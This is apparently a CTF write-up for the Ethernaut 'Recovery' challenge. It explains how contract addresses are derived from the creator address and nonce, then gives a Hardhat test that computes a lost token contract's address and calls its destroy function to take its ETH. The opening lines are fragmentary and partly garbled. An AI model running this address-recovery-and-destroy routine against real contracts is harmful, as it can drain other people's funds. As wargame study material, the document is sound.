CREATE opcode.CREATE opcode, the resulting contract address is calculated as:keccak256(rlp.encode([creator_address, creator_nonce])) // gives 32 bytes
The nonce of the account at the time of contract creation:
new.Process
[creator_address, nonce].0x1234abcd....deadbeef (take the last 20 bytes)
1 byte = 2 hex characters (because 1 hex char = 4 bits)
The contract address is the last 20 bytes of the 32 bytes Keccak hash:
contract_address = "0x" + keccak256(...).slice(-40)
Keeckak256 returns 64 hex characters, so in order to remove first 12 bytes
Below is the code for the function for Ethernaut challenge Recovery. It generates the deployed smart contracts address. After which you can just call self destruct to recover the ETH
// A hardhat test for solving Ethernaut Recovery
import { expect } from "chai";
import hre from "hardhat";
import { Recovery, SimpleToken } from "../typechain-types";
import { encodeRlp, keccak256, getAddress, toBeHex } from "ethers";
import {
loadFixture,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
describe("Recovery Exploit", function () {
async function deployPreservationFixtures() {
const [owner, otherAccount] = await hre.ethers.getSigners();
const recoveryAddress = "0xfeFB65f7A52c3d7C90196d2FeaefEf6a9A7A50b8";
// get a pointer to the deployed Recovery
const recovery: Recovery = (await hre.ethers.getContractAt(
"Recovery",
recoveryAddress
)) as Recovery;
return { recovery, owner, otherAccount, recoveryAddress };
};
describe("Find the contract", function () {
it("Find the deployed SimpleToken Contract", async function () {
const { recovery, owner, otherAccount, recoveryAddress } = await loadFixture(deployPreservationFixtures);
const creationNonce = 1; // because it was the first contract deployed by Recovery
const simpleTokenAddress = computeCreateAddress(recoveryAddress, creationNonce);
console.log("SimpleToken deployed at:", simpleTokenAddress);
const simpleToken: SimpleToken = (await hre.ethers.getContractAt(
"SimpleToken",
simpleTokenAddress
)) as SimpleToken;
const balance = await hre.ethers.provider.getBalance(otherAccount.address);
console.log("balance", balance);
const resp = await simpleToken.destroy(otherAccount);
const receipt = await resp.wait();
const newBalance = await hre.ethers.provider.getBalance(otherAccount.address);
console.log("newBalance", newBalance);
expect(newBalance).greaterThan(balance);
});
});
});
// this function will generate the hex of the address that Recovery generates with CREATE
function computeCreateAddress(deployer: string, nonce: number | bigint): string {
// get address of Recover
const normalized = getAddress(deployer);
// we first RLP encode address and its nonce
// nonce is 1 as it is the first contract
const encoded = encodeRlp([
normalized,
toBeHex(nonce, 1), // convert to hex string
]);
// the we convert the encoded RLP value to 32 bytes hex string (64 hex chars)
// 1 byte = 2 hex characters
const hash = keccak256(encoded);
// then remobe the 20 byte address, which is 40 hex chars
return `0x${hash.slice(-40)}`;
}
Derivation
keccak256(rlp.encode([sender_address, sender_nonce])) → last 20 bytes